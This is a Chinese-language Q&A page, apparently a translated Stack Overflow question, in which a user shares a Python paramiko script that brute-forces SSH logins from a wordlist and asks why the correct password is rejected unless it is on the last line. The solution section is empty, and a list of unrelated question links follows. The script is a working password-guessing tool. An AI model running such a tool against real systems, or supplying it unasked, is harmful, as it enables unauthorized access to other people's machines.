python - 为什么我的 SSH 暴力破解器说正确的密码不正确?
问题描述
我从头开始使用 Python 编写了一个 SSH 暴力破解工具,但是,如果我将正确的 SSH 密码放在单词表的任何一行,除非我把它放在最后一行,否则它将失败。
编辑:感谢 khelwood 和“那个家伙”,我的代码现在可以工作了 <3 谢谢你们,我很感激。
这是代码:
import paramiko
from paramiko import BadAuthenticationType
passlist = open("word.txt", "r")
def brute(ip, user, passwd):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
for psd in passlist:
psd = str(psd)
try:
brute("machine_ip", "machine_user", psd)
print("[*] Correct password: " + psd)
except paramiko.ssh_exception.AuthenticationException:
print("[!] Password incorrect: " + psd)
解决方案
推荐阅读
- python - 使用 Matplotlib 在图形上绘制 SQL 结果
- java - jsp 文件和 servlet 究竟是如何相互交互的?
- javascript - 输入选择文本,但仅在第一个焦点上(在移动设备上)
- javascript - 如何根据 iframe 大小调整引导模式的大小?
- c# - wix 为不同的目录重用 ComponentGroup
- elasticsearch - 如何在 kibana 仪表板 6.6.0 版中更改字体大小?
- typescript - VSCode 通过扩展修改文件资源管理器外观
- firebase - 我可以使用 Cloud Functions for Firebase 每天运行两次网络抓取工具吗?
- makefile - GNU Make:拆分文件(串行),然后处理部分(并行)
- sql - Oracle SQL - 从单行的列组合派生多行